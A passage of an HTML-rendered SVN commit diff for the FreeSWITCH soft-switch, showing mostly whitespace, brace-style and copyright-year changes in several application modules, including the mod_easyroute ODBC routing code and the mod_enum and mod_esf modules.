</span><del>-        SWITCH_ADD_APP(app_interface, "sched_heartbeat", "Enable Scheduled Heartbeat", "Enable Scheduled Heartbeat",
</del><ins>+        SWITCH_ADD_APP(app_interface, "sched_heartbeat", "Enable Scheduled Heartbeat", "Enable Scheduled Heartbeat",
</ins><span class="cx">                                  sched_heartbeat_function, SCHED_HEARTBEAT_SYNTAX, SAF_SUPPORT_NOMEDIA);
</span><del>-        SWITCH_ADD_APP(app_interface, "enable_heartbeat", "Enable Media Heartbeat", "Enable Media Heartbeat",
</del><ins>+        SWITCH_ADD_APP(app_interface, "enable_heartbeat", "Enable Media Heartbeat", "Enable Media Heartbeat",
</ins><span class="cx">                                  heartbeat_function, HEARTBEAT_SYNTAX, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "mkdir", "Create a directory", "Create a directory", mkdir_function, MKDIR_SYNTAX, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "soft_hold", "Put a bridged channel on hold", "Put a bridged channel on hold", soft_hold_function, SOFT_HOLD_SYNTAX,
</span><span class="cx">                                  SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "bind_meta_app", "Bind a key to an application", "Bind a key to an application", dtmf_bind_function, BIND_SYNTAX,
</span><span class="cx">                                  SAF_SUPPORT_NOMEDIA);
</span><del>-        SWITCH_ADD_APP(app_interface, "unbind_meta_app", "Unbind a key from an application", "Unbind a key from an application", dtmf_unbind_function,
</del><ins>+        SWITCH_ADD_APP(app_interface, "unbind_meta_app", "Unbind a key from an application", "Unbind a key from an application", dtmf_unbind_function,
</ins><span class="cx">                                  UNBIND_SYNTAX, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "intercept", "intercept", "intercept", intercept_function, INTERCEPT_SYNTAX, SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "eavesdrop", "eavesdrop on a uuid", "eavesdrop on a uuid", eavesdrop_function, eavesdrop_SYNTAX, SAF_MEDIA_TAP);
</span><del>-        SWITCH_ADD_APP(app_interface, "three_way", "three way call with a uuid", "three way call with a uuid", three_way_function, threeway_SYNTAX, SAF_MEDIA_TAP);
-        SWITCH_ADD_APP(app_interface, "set_user", "Set a User", "Set a User", set_user_function, SET_USER_SYNTAX, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC );
</del><ins>+        SWITCH_ADD_APP(app_interface, "three_way", "three way call with a uuid", "three way call with a uuid", three_way_function, threeway_SYNTAX,
+                                 SAF_MEDIA_TAP);
+        SWITCH_ADD_APP(app_interface, "set_user", "Set a User", "Set a User", set_user_function, SET_USER_SYNTAX, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</ins><span class="cx">         SWITCH_ADD_APP(app_interface, "stop_dtmf", "stop inband dtmf", "Stop detecting inband dtmf.", stop_dtmf_session_function, "", SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "start_dtmf", "Detect dtmf", "Detect inband dtmf on the session", dtmf_session_function, "", SAF_MEDIA_TAP);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "stop_dtmf_generate", "stop inband dtmf generation", "Stop generating inband dtmf.",
</span><span class="lines">@@ -3092,11 +3113,11 @@
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "park_state", "Park State", "Park State", park_state_function, "", SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "gentones", "Generate Tones", "Generate tones to the channel", gentones_function, "<tgml_script>[|<loops>]", SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "playback", "Playback File", "Playback a file to the channel", playback_function, "<path>", SAF_NONE);
</span><del>-        SWITCH_ADD_APP(app_interface, "endless_playback", "Playback File Endlessly", "Endlessly Playback a file to the channel",
</del><ins>+        SWITCH_ADD_APP(app_interface, "endless_playback", "Playback File Endlessly", "Endlessly Playback a file to the channel",
</ins><span class="cx">                                  endless_playback_function, "<path>", SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "att_xfer", "Attended Transfer", "Attended Transfer", att_xfer_function, "<channel_url>", SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "read", "Read Digits", "Read Digits", read_function, "<min> <max> <file> <var_name> <timeout> <terminators>", SAF_NONE);
</span><del>-        SWITCH_ADD_APP(app_interface, "play_and_get_digits", "Play and get Digits", "Play and get Digits",
</del><ins>+        SWITCH_ADD_APP(app_interface, "play_and_get_digits", "Play and get Digits", "Play and get Digits",
</ins><span class="cx">                                  play_and_get_digits_function, "<min> <max> <tries> <timeout> <terminators> <file> <invalid_file> <var_name> <regexp>", SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "stop_record_session", "Stop Record Session", STOP_SESS_REC_DESC, stop_record_session_function, "<path>", SAF_NONE);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "record_session", "Record Session", SESS_REC_DESC, record_session_function, "<path> [+<timeout>]", SAF_MEDIA_TAP);
</span><span class="lines">@@ -3116,8 +3137,10 @@
</span><span class="cx">                                  SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "say", "say", "say", say_function, SAY_SYNTAX, SAF_NONE);
</span><span class="cx">
</span><del>-        SWITCH_ADD_APP(app_interface, "wait_for_silence", "wait_for_silence", "wait_for_silence", wait_for_silence_function, WAIT_FOR_SILENCE_SYNTAX, SAF_NONE);
-        SWITCH_ADD_APP(app_interface, "session_loglevel", "session_loglevel", "session_loglevel", session_loglevel_function, SESSION_LOGLEVEL_SYNTAX, SAF_SUPPORT_NOMEDIA);
</del><ins>+        SWITCH_ADD_APP(app_interface, "wait_for_silence", "wait_for_silence", "wait_for_silence", wait_for_silence_function, WAIT_FOR_SILENCE_SYNTAX,
+                                 SAF_NONE);
+        SWITCH_ADD_APP(app_interface, "session_loglevel", "session_loglevel", "session_loglevel", session_loglevel_function, SESSION_LOGLEVEL_SYNTAX,
+                                 SAF_SUPPORT_NOMEDIA);
</ins><span class="cx">
</span><span class="cx">         SWITCH_ADD_DIALPLAN(dp_interface, "inline", inline_dialplan_hunt);
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_easyroutemod_easyroutec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_easyroute/mod_easyroute.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_easyroute/mod_easyroute.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_easyroute/mod_easyroute.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -38,22 +38,22 @@
</span><span class="cx">
</span><span class="cx"> #include <switch.h>
</span><span class="cx">
</span><del>-typedef struct easyroute_results{
-        char        limit[16];
-        char        dialstring[256];
-        char        group[16];
-        char        acctcode[17];
-        char        translated[17];
</del><ins>+typedef struct easyroute_results {
+        char limit[16];
+        char dialstring[256];
+        char group[16];
+        char acctcode[17];
+        char translated[17];
</ins><span class="cx"> } easyroute_results_t;
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> typedef struct route_callback {
</span><del>-        char        gateway[129];
-        char        group[129];
-        char        techprofile[129];
-        char        limit[129];
-        char        acctcode[129];
-        char        translated[17];
</del><ins>+        char gateway[129];
+        char group[129];
+        char techprofile[129];
+        char limit[129];
+        char acctcode[129];
+        char translated[17];
</ins><span class="cx"> } route_callback_t;
</span><span class="cx">
</span><span class="cx"> static struct {
</span><span class="lines">@@ -97,13 +97,13 @@
</span><span class="cx">         char *cf = "easyroute.conf";
</span><span class="cx">         switch_xml_t cfg, xml = NULL, param, settings;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "open of %s failed\n", cf);
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((settings = switch_xml_child(cfg, "settings"))) {
</span><span class="cx">                 for (param = switch_xml_child(settings, "param"); param; param = param->next) {
</span><span class="cx">                         char *var = (char *) switch_xml_attr_soft(param, "name");
</span><span class="lines">@@ -123,8 +123,8 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
- done:
</del><ins>+
+ done:
</ins><span class="cx">         if (zstr(globals.db_username)) {
</span><span class="cx">                 set_global_db_username("root");
</span><span class="cx">         }
</span><span class="lines">@@ -151,7 +151,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Opened ODBC Database!\n");
</span><span class="cx">                 }
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Connected ODBC DSN: %s\n", globals.db_dsn);
</span><del>-                if (!globals.custom_query){
</del><ins>+                if (!globals.custom_query) {
</ins><span class="cx">                         if (switch_odbc_handle_exec(globals.master_odbc, "select count(*) from numbers", NULL, NULL) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot find SQL Database! (Where\'s the numbers table\?\?)\n");
</span><span class="cx">                         }
</span><span class="lines">@@ -163,7 +163,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Connection (did you enable it?!)\n");
</span><span class="cx">         }
</span><span class="cx">
</span><del>- reallydone:
</del><ins>+ reallydone:
</ins><span class="cx">
</span><span class="cx">         if (xml) {
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="lines">@@ -177,76 +177,77 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static char SQL_LOOKUP[] = "SELECT gateways.gateway_ip, gateways.group, gateways.limit, gateways.techprofile, numbers.acctcode, numbers.translated from gateways, numbers where numbers.number = '%q' and numbers.gateway_id = gateways.gateway_id limit 1;";
</del><ins>+static char SQL_LOOKUP[] =
+        "SELECT gateways.gateway_ip, gateways.group, gateways.limit, gateways.techprofile, numbers.acctcode, numbers.translated from gateways, numbers where numbers.number = '%q' and numbers.gateway_id = gateways.gateway_id limit 1;";
</ins><span class="cx">
</span><span class="cx"> static switch_status_t route_lookup(char *dn, easyroute_results_t *results, int noat, char *separator)
</span><del>-{        
</del><ins>+{
</ins><span class="cx">         switch_status_t sstatus = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         char *sql = NULL;
</span><span class="cx">         route_callback_t pdata;
</span><span class="cx">
</span><span class="cx">         if (!switch_odbc_available()) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
</ins><span class="cx">                                                  "mod_easyroute requires core ODBC support. Please refer to the documentation on how to enable this\n");
</span><span class="cx">                 return sstatus;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         memset(&pdata, 0, sizeof(pdata));
</span><del>-        if (!globals.custom_query){
</del><ins>+        if (!globals.custom_query) {
</ins><span class="cx">                 sql = switch_mprintf(SQL_LOOKUP, dn);
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing static Query\n[%s]\n", sql);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing static Query\n[%s]\n", sql);
</ins><span class="cx">         } else {
</span><span class="cx">                 sql = switch_mprintf(globals.custom_query, dn);
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing custom Query\n[%s]\n", sql);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing custom Query\n[%s]\n", sql);
</ins><span class="cx">         }
</span><span class="cx">
</span><del>-        if (globals.mutex){
</del><ins>+        if (globals.mutex) {
</ins><span class="cx">                 switch_mutex_lock(globals.mutex);
</span><span class="cx">         }
</span><span class="cx">         /* Do the Query */
</span><del>-        if (switch_odbc_handle_callback_exec(globals.master_odbc, sql, route_callback, &pdata, NULL) == SWITCH_ODBC_SUCCESS){
</del><ins>+        if (switch_odbc_handle_callback_exec(globals.master_odbc, sql, route_callback, &pdata, NULL) == SWITCH_ODBC_SUCCESS) {
</ins><span class="cx">                 char tmp_profile[129];
</span><span class="cx">                 char tmp_gateway[129];
</span><span class="cx">
</span><span class="cx">                 if (zstr(pdata.limit)) {
</span><del>-                        switch_set_string(results->limit, "9999" );
</del><ins>+                        switch_set_string(results->limit, "9999");
</ins><span class="cx">                 } else {
</span><del>-                        switch_set_string(results->limit, pdata.limit );
</del><ins>+                        switch_set_string(results->limit, pdata.limit);
</ins><span class="cx">                 }
</span><span class="cx">
</span><del>-                if (zstr(pdata.techprofile)){
</del><ins>+                if (zstr(pdata.techprofile)) {
</ins><span class="cx">                         switch_set_string(tmp_profile, globals.default_techprofile);
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_set_string(tmp_profile, pdata.techprofile);
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                if (zstr(pdata.gateway)){
</del><ins>+                if (zstr(pdata.gateway)) {
</ins><span class="cx">                         switch_set_string(tmp_gateway, globals.default_gateway);
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_set_string(tmp_gateway, pdata.gateway);
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                if (zstr(pdata.translated)){
</del><ins>+                if (zstr(pdata.translated)) {
</ins><span class="cx">                         switch_set_string(results->translated, dn);
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_set_string(results->translated, pdata.translated);
</span><span class="cx">                 }
</span><span class="cx">                 if (noat) {
</span><del>-                        switch_snprintf(results->dialstring, 256, "%s/%s%s", tmp_profile , results->translated, tmp_gateway);
</del><ins>+                        switch_snprintf(results->dialstring, 256, "%s/%s%s", tmp_profile, results->translated, tmp_gateway);
</ins><span class="cx">                 } else if (separator) {
</span><del>-                        switch_snprintf(results->dialstring, 256, "%s/%s%s%s", tmp_profile , results->translated, separator, tmp_gateway);
</del><ins>+                        switch_snprintf(results->dialstring, 256, "%s/%s%s%s", tmp_profile, results->translated, separator, tmp_gateway);
</ins><span class="cx">                 } else {
</span><del>-                        switch_snprintf(results->dialstring, 256, "%s/%s@%s", tmp_profile , results->translated, tmp_gateway);
</del><ins>+                        switch_snprintf(results->dialstring, 256, "%s/%s@%s", tmp_profile, results->translated, tmp_gateway);
</ins><span class="cx">                 }
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "THE ROUTE [%s]\n", results->dialstring);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "THE ROUTE [%s]\n", results->dialstring);
</ins><span class="cx">
</span><del>-                if (zstr(pdata.group)){
</del><ins>+                if (zstr(pdata.group)) {
</ins><span class="cx">                         switch_set_string(results->group, "");
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_set_string(results->group, pdata.group);
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                if (zstr(pdata.acctcode)){
</del><ins>+                if (zstr(pdata.acctcode)) {
</ins><span class="cx">                         switch_set_string(results->acctcode, "");
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_set_string(results->acctcode, pdata.acctcode);
</span><span class="lines">@@ -254,11 +255,11 @@
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "DB Error Setting Default Route!\n");
</span><span class="cx">                 switch_set_string(results->limit, "9999");
</span><del>-                if (noat){
</del><ins>+                if (noat) {
</ins><span class="cx">                         switch_snprintf(results->dialstring, 256, "%s/%s%s", globals.default_techprofile, dn, globals.default_gateway);
</span><del>-                } else if (separator){
</del><ins>+                } else if (separator) {
</ins><span class="cx">                         switch_snprintf(results->dialstring, 256, "%s/%s%s%s", globals.default_techprofile, dn, separator, globals.default_gateway);
</span><del>-                } else {
</del><ins>+                } else {
</ins><span class="cx">                         switch_snprintf(results->dialstring, 256, "%s/%s@%s", globals.default_techprofile, dn, globals.default_gateway);
</span><span class="cx">                 }
</span><span class="cx">                 switch_set_string(results->group, "");
</span><span class="lines">@@ -267,7 +268,7 @@
</span><span class="cx">
</span><span class="cx">         switch_safe_free(sql);
</span><span class="cx">
</span><del>-        if (globals.mutex){
</del><ins>+        if (globals.mutex) {
</ins><span class="cx">                 switch_mutex_unlock(globals.mutex);
</span><span class="cx">         }
</span><span class="cx">         return sstatus;
</span><span class="lines">@@ -278,7 +279,7 @@
</span><span class="cx">         int argc = 0;
</span><span class="cx">         char *argv[4] = { 0 };
</span><span class="cx">         char *mydata = NULL;
</span><del>-        char *destnum = NULL;
</del><ins>+        char *destnum = NULL;
</ins><span class="cx">
</span><span class="cx">         int noat = 0;
</span><span class="cx">         char *separator = NULL;
</span><span class="lines">@@ -289,18 +290,18 @@
</span><span class="cx">         if (!channel) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(mydata = switch_core_session_strdup(session, data))) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                 destnum = argv[0];
</span><span class="cx">                 if (argc == 2) {
</span><span class="cx">                         if (!strcasecmp(argv[1], "noat")) {
</span><span class="cx">                                 noat = 1;
</span><span class="cx">                         } else if (!strcasecmp(argv[1], "separator")) {
</span><del>-                                if (argc == 3){
</del><ins>+                                if (argc == 3) {
</ins><span class="cx">                                         switch_set_string(separator, argv[2]);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="lines">@@ -325,7 +326,7 @@
</span><span class="cx">         int noat = 0;
</span><span class="cx">         easyroute_results_t results;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (session) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "This function cannot be called from the dialplan.\n");
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -337,39 +338,40 @@
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!cmd || !(mydata = strdup(cmd))) {
</span><span class="cx">                 stream->write_function(stream, "Usage: easyroute <number>\n");
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                 destnum = argv[0];
</span><del>-                if (argc < 1 || argc > 3){
</del><ins>+                if (argc < 1 || argc > 3) {
</ins><span class="cx">                         stream->write_function(stream, "Invalid Input!\n");
</span><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                         goto done;
</span><del>-                }
</del><ins>+                }
</ins><span class="cx">                 if (argc == 2) {
</span><span class="cx">                         if (!strcasecmp(argv[1], "noat")) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Entering noat.\n");
</span><span class="cx">                                 noat = 1;
</span><span class="cx">                         } else if (!strcasecmp(argv[1], "separator")) {
</span><del>-                                if (argc == 3){
</del><ins>+                                if (argc == 3) {
</ins><span class="cx">                                         switch_set_string(separator, argv[2]);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!route_lookup(destnum, &results, noat, separator) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         stream->write_function(stream, "No Match!\n");
</span><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-                if (argc != 2){
</del><ins>+                if (argc != 2) {
</ins><span class="cx">                         stream->write_function(stream, "Number \tLimit \tGroup \tAcctCode \tDialstring\n");
</span><del>-                        stream->write_function(stream, "%-10s\t%-10s\t%-10s\t%-10s\t%s\n", destnum, results.limit, results.group, results.acctcode, results.dialstring);
</del><ins>+                        stream->write_function(stream, "%-10s\t%-10s\t%-10s\t%-10s\t%s\n", destnum, results.limit, results.group, results.acctcode,
+                                                                 results.dialstring);
</ins><span class="cx">                 } else {
</span><span class="cx">                         if (!strncasecmp(argv[1], "dialstring", 10)) {
</span><span class="cx">                                 stream->write_function(stream, "%s", results.dialstring);
</span><span class="lines">@@ -386,12 +388,12 @@
</span><span class="cx">                                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                                 goto done;
</span><span class="cx">                         }
</span><del>-                }
</del><ins>+                }
</ins><span class="cx">         } else {
</span><span class="cx">                 stream->write_function(stream, "Invalid Input!\n");
</span><span class="cx">         }
</span><del>-        
- done:
</del><ins>+
+ done:
</ins><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -400,21 +402,22 @@
</span><span class="cx"> {
</span><span class="cx">         switch_api_interface_t *api_interface;
</span><span class="cx">         switch_application_interface_t *app_interface;
</span><del>-        
</del><ins>+
</ins><span class="cx">         memset(&globals, 0, sizeof(globals));
</span><span class="cx">         load_config();
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">         SWITCH_ADD_API(api_interface, "easyroute", "EasyRoute", easyroute_function, "");
</span><del>-        SWITCH_ADD_APP(app_interface, "easyroute", "Perform an easyroute lookup", "Perform an easyroute lookup", easyroute_app_function, "<number>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
-        
</del><ins>+        SWITCH_ADD_APP(app_interface, "easyroute", "Perform an easyroute lookup", "Perform an easyroute lookup", easyroute_app_function, "<number>",
+                                 SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
+
</ins><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_easyroute_shutdown)
</span><del>-{        
</del><ins>+{
</ins><span class="cx">         switch_odbc_handle_disconnect(globals.master_odbc);
</span><span class="cx">         switch_safe_free(globals.db_username);
</span><span class="cx">         switch_safe_free(globals.db_password);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_enummod_enumc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_enum/mod_enum.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_enum/mod_enum.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_enum/mod_enum.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -251,7 +251,7 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static void free_results(enum_record_t **results)
</del><ins>+static void free_results(enum_record_t ** results)
</ins><span class="cx"> {
</span><span class="cx">         enum_record_t *fp, *rp;
</span><span class="cx">
</span><span class="lines">@@ -447,7 +447,7 @@
</span><span class="cx">         free(result);
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t enum_lookup(char *root, char *in, enum_record_t **results)
</del><ins>+static switch_status_t enum_lookup(char *root, char *in, enum_record_t ** results)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t sstatus = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         char *name = NULL;
</span><span class="lines">@@ -829,7 +829,7 @@
</span><span class="cx">
</span><span class="cx">         memset(&globals, 0, sizeof(globals));
</span><span class="cx">         do_load();
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">         SWITCH_ADD_API(api_interface, "enum", "ENUM", enum_function, "");
</span><span class="lines">@@ -850,7 +850,7 @@
</span><span class="cx">         if (globals.pool) {
</span><span class="cx">                 switch_core_destroy_memory_pool(&globals.pool);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(globals.root);
</span><span class="cx">         switch_safe_free(globals.isn_root);
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_esfmod_esfc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_esf/mod_esf.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_esf/mod_esf.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_esf/mod_esf.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -78,10 +78,10 @@
</span><span class="cx">         switch_port_t mcast_control_port = 6061;
</span><span class="cx">         char *mcast_port_str = "34567";
</span><span class="cx">         const char *esf_broadcast_ip = NULL, *var;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         int mcast_ttl = 1;
</span><span class="cx">
</span><del>- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">         if (!zstr((char *) data)) {
</span><span class="cx">                 mydata = switch_core_session_strdup(session, data);
</span><span class="lines">@@ -105,7 +105,7 @@
</span><span class="cx">                 if (!zstr(argv[2])) {
</span><span class="cx">                         mcast_control_port = (switch_port_t) atoi(argv[2]);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!zstr(argv[3])) {
</span><span class="cx">                         mcast_ttl = atoi(argv[3]);
</span><span class="cx">                         if (mcast_ttl < 1 || mcast_ttl > 255) {
</span><span class="lines">@@ -136,7 +136,7 @@
</span><span class="cx">                 goto fail;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (switch_mcast_hops(socket, (uint8_t)mcast_ttl) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_mcast_hops(socket, (uint8_t) mcast_ttl) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Mutlicast TTL set failed\n");
</span><span class="cx">                 goto fail;
</span><span class="cx">         }
</span><span class="lines">@@ -201,8 +201,7 @@
</span><span class="cx">                                                                          mcast_port,
</span><span class="cx">                                                                          read_impl.ianacode,
</span><span class="cx">                                                                          read_impl.samples_per_packet,
</span><del>-                                                                         read_impl.microseconds_per_packet,
-                                                                         (switch_rtp_flag_t) flags, "soft", &err, switch_core_session_get_pool(session));
</del><ins>+                                                                         read_impl.microseconds_per_packet, (switch_rtp_flag_t) flags, "soft", &err, switch_core_session_get_pool(session));
</ins><span class="cx">
</span><span class="cx">                 if (!switch_rtp_ready(rtp_session)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "RTP Error\n");
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_exprconioh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_expr/conio.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_expr/conio.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/conio.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -20,25 +20,24 @@
</span><span class="cx">
